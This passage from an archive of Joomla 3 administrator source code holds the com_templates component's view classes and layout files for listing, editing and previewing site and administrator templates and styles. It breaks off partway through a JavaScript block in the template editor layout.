							<label for="cb<?php echo $i; ?>" class="small">
								<a href="<?php echo JRoute::_('index.php?option=com_templates&view=template&id=' . (int) $item->e_id); ?>  ">
									<?php echo ucfirst($this->escape($item->template)); ?>
								</a>
							</label>
						</td>
						<td class="hidden-phone hidden-tablet">
							<?php echo (int) $item->id; ?>
						</td>
					</tr>
					<?php endforeach; ?>
				</tbody>
			</table>
		<?php endif; ?>

		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_templates/views/styles/tmpl/default.xml000060400000000320152455305270015201 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_TEMPLATES_STYLE_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_TEMPLATES_STYLE_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_templates/views/styles/view.html.php000060400000005331152455305270014514 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View class for a list of template styles.
 *
 * @since  1.6
 */
class TemplatesViewStyles extends JViewLegacy
{
	protected $items;

	protected $pagination;

	protected $state;

	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 */
	public function display($tpl = null)
	{
		$this->items         = $this->get('Items');
		$this->pagination    = $this->get('Pagination');
		$this->state         = $this->get('State');
		$this->total         = $this->get('Total');
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');
		$this->preview       = JComponentHelper::getParams('com_templates')->get('template_positions_display');

		TemplatesHelper::addSubmenu('styles');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		$this->addToolbar();
		$this->sidebar = JHtmlSidebar::render();

		return parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		$canDo = JHelperContent::getActions('com_templates');

		// Set the title.
		if ((int) $this->get('State')->get('client_id') === 1)
		{
			JToolbarHelper::title(JText::_('COM_TEMPLATES_MANAGER_STYLES_ADMIN'), 'eye thememanager');
		}
		else
		{
			JToolbarHelper::title(JText::_('COM_TEMPLATES_MANAGER_STYLES_SITE'), 'eye thememanager');
		}

		if ($canDo->get('core.edit.state'))
		{
			JToolbarHelper::makeDefault('styles.setDefault', 'COM_TEMPLATES_TOOLBAR_SET_HOME');
			JToolbarHelper::divider();
		}

		if ($canDo->get('core.edit'))
		{
			JToolbarHelper::editList('style.edit');
		}

		if ($canDo->get('core.create'))
		{
			JToolbarHelper::custom('styles.duplicate', 'copy.png', 'copy_f2.png', 'JTOOLBAR_DUPLICATE', true);
			JToolbarHelper::divider();
		}

		if ($canDo->get('core.delete'))
		{
			JToolbarHelper::deleteList('JGLOBAL_CONFIRM_DELETE', 'styles.delete', 'JTOOLBAR_DELETE');
			JToolbarHelper::divider();
		}

		if ($canDo->get('core.admin') || $canDo->get('core.options'))
		{
			JToolbarHelper::preferences('com_templates');
			JToolbarHelper::divider();
		}

		JToolbarHelper::help('JHELP_EXTENSIONS_TEMPLATE_MANAGER_STYLES');

		JHtmlSidebar::setAction('index.php?option=com_templates&view=styles');

	}
}
com_templates/views/templates/tmpl/default.php000060400000010234152455305270015650 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('bootstrap.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('formbehavior.chosen', 'select');

$user      = JFactory::getUser();
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
?>

<form action="<?php echo JRoute::_('index.php?option=com_templates&view=templates'); ?>" method="post" name="adminForm" id="adminForm">
<?php if (!empty($this->sidebar)) : ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
<?php endif; ?>
		<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this, 'options' => array('selectorFieldName' => 'client_id'))); ?>
		<?php if ($this->total > 0) : ?>
		<table class="table table-striped" id="template-mgr">
			<thead>
				<tr>
					<th class="col1template hidden-phone" width="20%">
						<?php echo JText::_('COM_TEMPLATES_HEADING_IMAGE'); ?>
					</th>
					<th width="30%">
						<?php echo JHtml::_('searchtools.sort', 'COM_TEMPLATES_HEADING_TEMPLATE', 'a.element', $listDirn, $listOrder); ?>
					</th>
					<th width="10%" class="hidden-phone">
						<?php echo JText::_('JVERSION'); ?>
					</th>
					<th width="15%" class="hidden-phone">
						<?php echo JText::_('JDATE'); ?>
					</th>
					<th width="25%" class="hidden-phone">
						<?php echo JText::_('JAUTHOR'); ?>
					</th>
				</tr>
			</thead>
			<tfoot>
				<tr>
					<td colspan="5">
						<?php echo $this->pagination->getListFooter(); ?>
					</td>
				</tr>
			</tfoot>
			<tbody>
			<?php foreach ($this->items as $i => $item) : ?>
				<tr class="row<?php echo $i % 2; ?>">
					<td class="center hidden-phone">
						<?php echo JHtml::_('templates.thumb', $item->element, $item->client_id); ?>
						<?php echo JHtml::_('templates.thumbModal', $item->element, $item->client_id); ?>
					</td>
					<td class="template-name">
						<a href="<?php echo JRoute::_('index.php?option=com_templates&view=template&id=' . (int) $item->extension_id . '&file=' . $this->file); ?>">
							<?php echo JText::sprintf('COM_TEMPLATES_TEMPLATE_DETAILS', ucfirst($item->name)); ?></a>
						<div>
						<?php if ($this->preview && $item->client_id == '0') : ?>
							<a href="<?php echo JRoute::_(JUri::root() . 'index.php?tp=1&template=' . $item->element); ?>" target="_blank">
							<?php echo JText::_('COM_TEMPLATES_TEMPLATE_PREVIEW'); ?>
							</a>
						<?php elseif ($item->client_id == '1') : ?>
							<?php echo JText::_('COM_TEMPLATES_TEMPLATE_NO_PREVIEW_ADMIN'); ?>
						<?php else : ?>
							<span class="hasTooltip" title="<?php echo JHtml::_('tooltipText', 'COM_TEMPLATES_TEMPLATE_NO_PREVIEW_DESC'); ?>"><?php echo JText::_('COM_TEMPLATES_TEMPLATE_NO_PREVIEW'); ?></span>
						<?php endif; ?>
						</div>
					</td>
					<td class="small hidden-phone">
						<?php echo $this->escape($item->xmldata->get('version')); ?>
					</td>
					<td class="small hidden-phone">
						<?php echo $this->escape($item->xmldata->get('creationDate')); ?>
					</td>
					<td class="hidden-phone">
						<?php if ($author = $item->xmldata->get('author')) : ?>
							<div><?php echo $this->escape($author); ?></div>
						<?php else : ?>
							&mdash;
						<?php endif; ?>
						<?php if ($email = $item->xmldata->get('authorEmail')) : ?>
							<div><?php echo $this->escape($email); ?></div>
						<?php endif; ?>
						<?php if ($url = $item->xmldata->get('authorUrl')) : ?>
							<div><a href="<?php echo $this->escape($url); ?>"><?php echo $this->escape($url); ?></a></div>
						<?php endif; ?>
					</td>
				</tr>
				<?php endforeach; ?>
			</tbody>
		</table>
	<?php endif; ?>

	<input type="hidden" name="task" value="" />
	<input type="hidden" name="boxchecked" value="0" />
	<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_templates/views/templates/tmpl/default.xml000060400000000330152455305270015655 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_TEMPLATES_TEMPLATES_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_TEMPLATES_TEMPLATES_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_templates/views/templates/view.html.php000060400000004645152455305270015176 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View class for a list of template styles.
 *
 * @since  1.6
 */
class TemplatesViewTemplates extends JViewLegacy
{
	/**
	 * @var		array
	 * @since   1.6
	 */
	protected $items;

	/**
	 * @var		object
	 * @since   1.6
	 */
	protected $pagination;

	/**
	 * @var		object
	 * @since   1.6
	 */
	protected $state;

	/**
	 * @var		string
	 * @since   3.2
	 */
	protected $file;

	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @since   1.6
	 */
	public function display($tpl = null)
	{
		$this->items         = $this->get('Items');
		$this->pagination    = $this->get('Pagination');
		$this->state         = $this->get('State');
		$this->total         = $this->get('Total');
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');
		$this->preview       = JComponentHelper::getParams('com_templates')->get('template_positions_display');
		$this->file          = base64_encode('home');

		TemplatesHelper::addSubmenu('templates');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		$this->addToolbar();

		return parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		$canDo = JHelperContent::getActions('com_templates');

		// Set the title.
		if ((int) $this->get('State')->get('client_id') === 1)
		{
			JToolbarHelper::title(JText::_('COM_TEMPLATES_MANAGER_TEMPLATES_ADMIN'), 'eye thememanager');
		}
		else
		{
			JToolbarHelper::title(JText::_('COM_TEMPLATES_MANAGER_TEMPLATES_SITE'), 'eye thememanager');
		}

		if ($canDo->get('core.admin') || $canDo->get('core.options'))
		{
			JToolbarHelper::preferences('com_templates');
			JToolbarHelper::divider();
		}

		JToolbarHelper::help('JHELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES');

		JHtmlSidebar::setAction('index.php?option=com_templates&view=templates');

		$this->sidebar = JHtmlSidebar::render();
	}
}
com_templates/views/style/view.json.php000060400000002363152455305270014340 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View to edit a template style.
 *
 * @since  1.6
 */
class TemplatesViewStyle extends JViewLegacy
{
	/**
	 * The JObject (on success, false on failure)
	 *
	 * @var   JObject
	 */
	protected $item;

	/**
	 * The form object
	 *
	 * @var   JForm
	 */
	protected $form;

	/**
	 * The model state
	 *
	 * @var   JObject
	 */
	protected $state;

	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @since   1.6
	 */
	public function display($tpl = null)
	{
		try
		{
			$this->item = $this->get('Item');
		}
		catch (Exception $e)
		{
			$app = JFactory::getApplication();
			$app->enqueueMessage($e->getMessage(), 'error');

			return false;
		}

		$paramsList = $this->item->getProperties();

		unset($paramsList['xml']);

		$paramsList = json_encode($paramsList);

		return $paramsList;

	}
}
com_templates/views/style/view.html.php000060400000004761152455305270014337 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View to edit a template style.
 *
 * @since  1.6
 */
class TemplatesViewStyle extends JViewLegacy
{
	/**
	 * The JObject (on success, false on failure)
	 *
	 * @var   JObject
	 */
	protected $item;

	/**
	 * The form object
	 *
	 * @var   JForm
	 */
	protected $form;

	/**
	 * The model state
	 *
	 * @var   JObject
	 */
	protected $state;

	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @since   1.6
	 */
	public function display($tpl = null)
	{
		$this->item  = $this->get('Item');
		$this->state = $this->get('State');
		$this->form  = $this->get('Form');
		$this->canDo = JHelperContent::getActions('com_templates');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		$this->addToolbar();

		return parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		JFactory::getApplication()->input->set('hidemainmenu', true);

		$isNew = ($this->item->id == 0);
		$canDo = $this->canDo;

		JToolbarHelper::title(
			$isNew ? JText::_('COM_TEMPLATES_MANAGER_ADD_STYLE')
			: JText::_('COM_TEMPLATES_MANAGER_EDIT_STYLE'), 'eye thememanager'
		);

		// If not checked out, can save the item.
		if ($canDo->get('core.edit'))
		{
			JToolbarHelper::apply('style.apply');
			JToolbarHelper::save('style.save');
		}

		// If an existing item, can save to a copy.
		if (!$isNew && $canDo->get('core.create'))
		{
			JToolbarHelper::save2copy('style.save2copy');
		}

		if (empty($this->item->id))
		{
			JToolbarHelper::cancel('style.cancel');
		}
		else
		{
			JToolbarHelper::cancel('style.cancel', 'JTOOLBAR_CLOSE');
		}

		JToolbarHelper::divider();

		// Get the help information for the template item.
		$lang = JFactory::getLanguage();
		$help = $this->get('Help');

		if ($lang->hasKey($help->url))
		{
			$debug = $lang->setDebug(false);
			$url = JText::_($help->url);
			$lang->setDebug($debug);
		}
		else
		{
			$url = null;
		}

		JToolbarHelper::help($help->key, false, $url);
	}
}
com_templates/views/style/tmpl/edit.php000060400000006567152455305270014331 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('behavior.formvalidator');
JHtml::_('behavior.keepalive');
JHtml::_('formbehavior.chosen', 'select');
$user = JFactory::getUser();

JFactory::getDocument()->addScriptDeclaration("
	Joomla.submitbutton = function(task)
	{
		if (task == 'style.cancel' || document.formvalidator.isValid(document.getElementById('style-form'))) {
			Joomla.submitform(task, document.getElementById('style-form'));
		}
	};
");
?>

<form action="<?php echo JRoute::_('index.php?option=com_templates&layout=edit&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="style-form" class="form-validate">

	<?php echo JLayoutHelper::render('joomla.edit.title_alias', $this); ?>

	<div class="form-horizontal">
		<?php echo JHtml::_('bootstrap.startTabSet', 'myTab', array('active' => 'details')); ?>

		<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'details', JText::_('JDETAILS')); ?>

		<div class="row-fluid">
			<div class="span9">
				<h2>
					<?php echo JText::_($this->item->template); ?>
				</h2>
				<div class="info-labels">
					<span class="label hasTooltip" title="<?php echo JHtml::_('tooltipText', 'COM_TEMPLATES_FIELD_CLIENT_LABEL'); ?>">
						<?php echo $this->item->client_id == 0 ? JText::_('JSITE') : JText::_('JADMINISTRATOR'); ?>
					</span>
				</div>
				<div>
					<p><?php echo JText::_($this->item->xml->description); ?></p>
					<?php
					$this->fieldset = 'description';
					$description = JLayoutHelper::render('joomla.edit.fieldset', $this);
					?>
					<?php if ($description) : ?>
						<p class="readmore">
							<a href="#" onclick="jQuery('.nav-tabs a[href=\'#description\']').tab('show');">
								<?php echo JText::_('JGLOBAL_SHOW_FULL_DESCRIPTION'); ?>
							</a>
						</p>
					<?php endif; ?>
				</div>
				<?php
				$this->fieldset = 'basic';
				$html = JLayoutHelper::render('joomla.edit.fieldset', $this);
				echo $html ? '<hr />' . $html : '';
				?>
			</div>
			<div class="span3">
				<?php
				// Set main fields.
				$this->fields = array(
					'home',
					'client_id',
					'template'
				);
				?>
				<?php echo JLayoutHelper::render('joomla.edit.global', $this); ?>
			</div>
		</div>
		<?php echo JHtml::_('bootstrap.endTab'); ?>

		<?php if ($description) : ?>
			<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'description', JText::_('JGLOBAL_FIELDSET_DESCRIPTION')); ?>
			<?php echo $description; ?>
			<?php echo JHtml::_('bootstrap.endTab'); ?>
		<?php endif; ?>

		<?php
		$this->fieldsets = array();
		$this->ignore_fieldsets = array('basic', 'description');
		echo JLayoutHelper::render('joomla.edit.params', $this);
		?>

		<?php if ($user->authorise('core.edit', 'com_menus') && $this->item->client_id == 0 && $this->canDo->get('core.edit.state')) : ?>
			<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'assignment', JText::_('COM_TEMPLATES_MENUS_ASSIGNMENT')); ?>
			<?php echo $this->loadTemplate('assignment'); ?>
			<?php echo JHtml::_('bootstrap.endTab'); ?>
		<?php endif; ?>

		<?php echo JHtml::_('bootstrap.endTabSet'); ?>

		<input type="hidden" name="task" value="" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_templates/views/style/tmpl/edit_options.php000060400000002442152455305270016070 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Load chosen.css
JHtml::_('formbehavior.chosen', 'select');

?>
<?php
	echo JHtml::_('bootstrap.startAccordion', 'templatestyleOptions', array('active' => 'collapse0'));
	$fieldSets = $this->form->getFieldsets('params');
	$i = 0;

	foreach ($fieldSets as $name => $fieldSet) :
		$label = !empty($fieldSet->label) ? $fieldSet->label : 'COM_TEMPLATES_' . $name . '_FIELDSET_LABEL';
		echo JHtml::_('bootstrap.addSlide', 'templatestyleOptions', JText::_($label), 'collapse' . ($i++));
			if (isset($fieldSet->description) && trim($fieldSet->description)) :
				echo '<p class="tip">' . $this->escape(JText::_($fieldSet->description)) . '</p>';
			endif;
			?>
				<?php foreach ($this->form->getFieldset($name) as $field) : ?>
					<div class="control-group">
						<div class="control-label">
							<?php echo $field->label; ?>
						</div>
						<div class="controls">
							<?php echo $field->input; ?>
						</div>
					</div>
				<?php endforeach;
		echo JHtml::_('bootstrap.endSlide');
	endforeach;
echo JHtml::_('bootstrap.endAccordion');
com_templates/views/style/tmpl/edit_assignment.php000060400000004224152455305270016545 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Initialise related data.
JLoader::register('MenusHelper', JPATH_ADMINISTRATOR . '/components/com_menus/helpers/menus.php');
$menuTypes = MenusHelper::getMenuLinks();
$user      = JFactory::getUser();
?>
<label id="jform_menuselect-lbl" for="jform_menuselect"><?php echo JText::_('JGLOBAL_MENU_SELECTION'); ?></label>
<div class="btn-toolbar">
	<button class="btn jform-rightbtn" type="button" onclick="jQuery('.chk-menulink').attr('checked', !jQuery('.chk-menulink').attr('checked'));">
		<span class="icon-checkbox-partial" aria-hidden="true"></span> <?php echo JText::_('JGLOBAL_SELECTION_INVERT_ALL'); ?>
	</button>
</div>
<div id="menu-assignment">
	<ul class="menu-links">

		<?php foreach ($menuTypes as &$type) : ?>
			<li>
				<div class="menu-links-block">
					<button class="btn jform-rightbtn" type="button" onclick="jQuery('.menutype-<?php echo $type->menutype; ?>').attr('checked', !jQuery('.menutype-<?php echo $type->menutype; ?>').attr('checked'));">
						<span class="icon-checkbox-partial" aria-hidden="true"></span> <?php echo JText::_('JGLOBAL_SELECTION_INVERT'); ?>
					</button>
					<h5><?php echo $type->title ?: $type->menutype; ?></h5>
	
					<?php foreach ($type->links as $link) : ?>
						<label class="checkbox small" for="link<?php echo (int) $link->value; ?>" >
						<input type="checkbox" name="jform[assigned][]" value="<?php echo (int) $link->value; ?>" id="link<?php echo (int) $link->value; ?>"<?php if ($link->template_style_id == $this->item->id) : ?> checked="checked"<?php endif; ?><?php if ($link->checked_out && $link->checked_out != $user->id) : ?> disabled="disabled"<?php else : ?> class="chk-menulink menutype-<?php echo $type->menutype; ?>"<?php endif; ?> />
						<?php echo JLayoutHelper::render('joomla.html.treeprefix', array('level' => $link->level)) . $link->text; ?>
						</label>
					<?php endforeach; ?>

				</div>
			</li>
		<?php endforeach; ?>

	</ul>
</div>
com_templates/views/template/view.html.php000060400000015766152455305270015021 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View to edit a template style.
 *
 * @since  1.6
 */
class TemplatesViewTemplate extends JViewLegacy
{
	/**
	 * For loading extension state
	 */
	protected $state;

	/**
	 * For loading template details
	 */
	protected $template;

	/**
	 * For loading the source form
	 */
	protected $form;

	/**
	 * For loading source file contents
	 */
	protected $source;

	/**
	 * Extension id
	 */
	protected $id;

	/**
	 * Encrypted file path
	 */
	protected $file;

	/**
	 * List of available overrides
	 */
	protected $overridesList;

	/**
	 * Name of the present file
	 */
	protected $fileName;

	/**
	 * Type of the file - image, source, font
	 */
	protected $type;

	/**
	 * For loading image information
	 */
	protected $image;

	/**
	 * Template id for showing preview button
	 */
	protected $preview;

	/**
	 * For loading font information
	 */
	protected $font;

	/**
	 * A nested array containing lst of files and folders
	 */
	protected $files;

	/**
	 * An array containing a list of compressed files
	 */
	protected $archive;

	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 */
	public function display($tpl = null)
	{
		$app            = JFactory::getApplication();
		$this->file     = $app->input->get('file');
		$this->fileName = JFilterInput::getInstance()->clean(base64_decode($this->file), 'string');
		$explodeArray   = explode('.', $this->fileName);
		$ext            = end($explodeArray);
		$this->files    = $this->get('Files');
		$this->state    = $this->get('State');
		$this->template = $this->get('Template');
		$this->preview  = $this->get('Preview');

		$params       = JComponentHelper::getParams('com_templates');
		$imageTypes   = explode(',', $params->get('image_formats'));
		$sourceTypes  = explode(',', $params->get('source_formats'));
		$fontTypes    = explode(',', $params->get('font_formats'));
		$archiveTypes = explode(',', $params->get('compressed_formats'));

		if (in_array($ext, $sourceTypes))
		{
			$this->form   = $this->get('Form');
			$this->form->setFieldAttribute('source', 'syntax', $ext);
			$this->source = $this->get('Source');
			$this->type   = 'file';
		}
		elseif (in_array($ext, $imageTypes))
		{
			$this->image = $this->get('Image');
			$this->type  = 'image';
		}
		elseif (in_array($ext, $fontTypes))
		{
			$this->font = $this->get('Font');
			$this->type = 'font';
		}
		elseif (in_array($ext, $archiveTypes))
		{
			$this->archive = $this->get('Archive');
			$this->type    = 'archive';
		}
		else
		{
			$this->type = 'home';
		}

		$this->overridesList = $this->get('OverridesList');
		$this->id            = $this->state->get('extension.id');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			$app->enqueueMessage(implode("\n", $errors));

			return false;
		}

		$this->addToolbar();

		if (!JFactory::getUser()->authorise('core.admin'))
		{
			$this->setLayout('readonly');
		}

		return parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @since   1.6
	 *
	 * @return  void
	 */
	protected function addToolbar()
	{
		$app   = JFactory::getApplication();
		$user  = JFactory::getUser();
		$app->input->set('hidemainmenu', true);

		// User is global SuperUser
		$isSuperUser = $user->authorise('core.admin');

		// Get the toolbar object instance
		$bar = JToolbar::getInstance('toolbar');
		$explodeArray = explode('.', $this->fileName);
		$ext = end($explodeArray);

		JToolbarHelper::title(JText::sprintf('COM_TEMPLATES_MANAGER_VIEW_TEMPLATE', ucfirst($this->template->name)), 'eye thememanager');

		// Only show file edit buttons for global SuperUser
		if ($isSuperUser)
		{
			// Add an Apply and save button
			if ($this->type == 'file')
			{
				JToolbarHelper::apply('template.apply');
				JToolbarHelper::save('template.save');
			}
			// Add a Crop and Resize button
			elseif ($this->type == 'image')
			{
				JToolbarHelper::custom('template.cropImage', 'move', 'move', 'COM_TEMPLATES_BUTTON_CROP', false);
				JToolbarHelper::modal('resizeModal', 'icon-refresh', 'COM_TEMPLATES_BUTTON_RESIZE');
			}
			// Add an extract button
			elseif ($this->type == 'archive')
			{
				JToolbarHelper::custom('template.extractArchive', 'arrow-down', 'arrow-down', 'COM_TEMPLATES_BUTTON_EXTRACT_ARCHIVE', false);
			}

			// Add a copy template button (Hathor override doesn't need the button)
			if ($app->getTemplate() != 'hathor')
			{
				JToolbarHelper::modal('copyModal', 'icon-copy', 'COM_TEMPLATES_BUTTON_COPY_TEMPLATE');
			}
		}

		// Add a Template preview button
		if ($this->preview->client_id == 0)
		{
			$bar->appendButton('Popup', 'picture', 'COM_TEMPLATES_BUTTON_PREVIEW', JUri::root() . 'index.php?tp=1&templateStyle=' . $this->preview->id, 800, 520);
		}

		// Only show file manage buttons for global SuperUser
		if ($isSuperUser)
		{
			// Add Manage folders button
			JToolbarHelper::modal('folderModal', 'icon-folder icon white', 'COM_TEMPLATES_BUTTON_FOLDERS');

			// Add a new file button
			JToolbarHelper::modal('fileModal', 'icon-file', 'COM_TEMPLATES_BUTTON_FILE');

			// Add a Rename file Button (Hathor override doesn't need the button)
			if ($app->getTemplate() != 'hathor' && $this->type != 'home')
			{
				JToolbarHelper::modal('renameModal', 'icon-refresh', 'COM_TEMPLATES_BUTTON_RENAME_FILE');
			}

			// Add a Delete file Button
			if ($this->type != 'home')
			{
				JToolbarHelper::modal('deleteModal', 'icon-remove', 'COM_TEMPLATES_BUTTON_DELETE_FILE');
			}

			// Add a Compile Button
			if ($ext == 'less')
			{
				JToolbarHelper::custom('template.less', 'play', 'play', 'COM_TEMPLATES_BUTTON_LESS', false);
			}
		}

		if ($this->type == 'home')
		{
			JToolbarHelper::cancel('template.cancel', 'JTOOLBAR_CLOSE');
		}
		else
		{
			JToolbarHelper::cancel('template.close', 'COM_TEMPLATES_BUTTON_CLOSE_FILE');
		}

		JToolbarHelper::divider();
		JToolbarHelper::help('JHELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES_EDIT');
	}

	/**
	 * Method for creating the collapsible tree.
	 *
	 * @param   array  $array  The value of the present node for recursion
	 *
	 * @return  string
	 *
	 * @note    Uses recursion
	 * @since   3.2
	 */
	protected function directoryTree($array)
	{
		$temp        = $this->files;
		$this->files = $array;
		$txt         = $this->loadTemplate('tree');
		$this->files = $temp;

		return $txt;
	}

	/**
	 * Method for listing the folder tree in modals.
	 *
	 * @param   array  $array  The value of the present node for recursion
	 *
	 * @return  string
	 *
	 * @note    Uses recursion
	 * @since   3.2
	 */
	protected function folderTree($array)
	{
		$temp        = $this->files;
		$this->files = $array;
		$txt         = $this->loadTemplate('folders');
		$this->files = $temp;

		return $txt;
	}
}
com_templates/views/template/tmpl/default_modal_folder_footer.php000060400000001540152455305270021552 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$input = JFactory::getApplication()->input;
?>
<form id="deleteFolder" method="post" action="<?php echo JRoute::_('index.php?option=com_templates&task=template.deleteFolder&id=' . $input->getInt('id') . '&file=' . $this->file); ?>">
	<fieldset>
		<button type="button" class="btn" data-dismiss="modal"><?php echo JText::_('COM_TEMPLATES_TEMPLATE_CLOSE'); ?></button>
		<input type="hidden" class="address" name="address" />
		<?php echo JHtml::_('form.token'); ?>
		<input type="submit" value="<?php echo JText::_('COM_TEMPLATES_BUTTON_DELETE'); ?>" class="btn btn-danger" />
	</fieldset>
</form>
com_templates/views/template/tmpl/default.php000060400000044237152455305270015477 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_templates
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('bootstrap.tooltip');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('behavior.formvalidator');
JHtml::_('behavior.keepalive');
JHtml::_('behavior.tabstate');

$input = JFactory::getApplication()->input;

// No access if not global SuperUser
if (!JFactory::getUser()->authorise('core.admin'))
{
	JFactory::getApplication()->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'error');
}

if ($this->type == 'image')
{
	JHtml::_('script', 'system/jquery.Jcrop.min.js', array('version' => 'auto', 'relative' => true));
	JHtml::_('stylesheet', 'system/jquery.Jcrop.min.css', array('version' => 'auto', 'relative' => true));
}

JFactory::getDocument()->addScriptDeclaration("
jQuery(document).ready(function($){

	// Hide all the folder when the page loads
	$('.folder ul, .component-folder ul, .plugin-folder ul, .layout-folder ul').hide();

	// Display the tree after loading
	$('.directory-tree').removeClass('directory-tree');

	// Show all the lists in the path of an open file
	$('.show > ul').show();

	// Stop the default action of anchor tag on a click event
	$('.folder-url, .component-folder-url, .plugin-folder-url, .layout-folder-url').click(function(event){
		event.preventDefault();
	});

	// Prevent the click event from proliferating
	$('.file, .component-file-url, .plugin-file-url').bind('click',function(e){
		e.stopPropagation();
	});

	// Toggle the child indented list on a click event
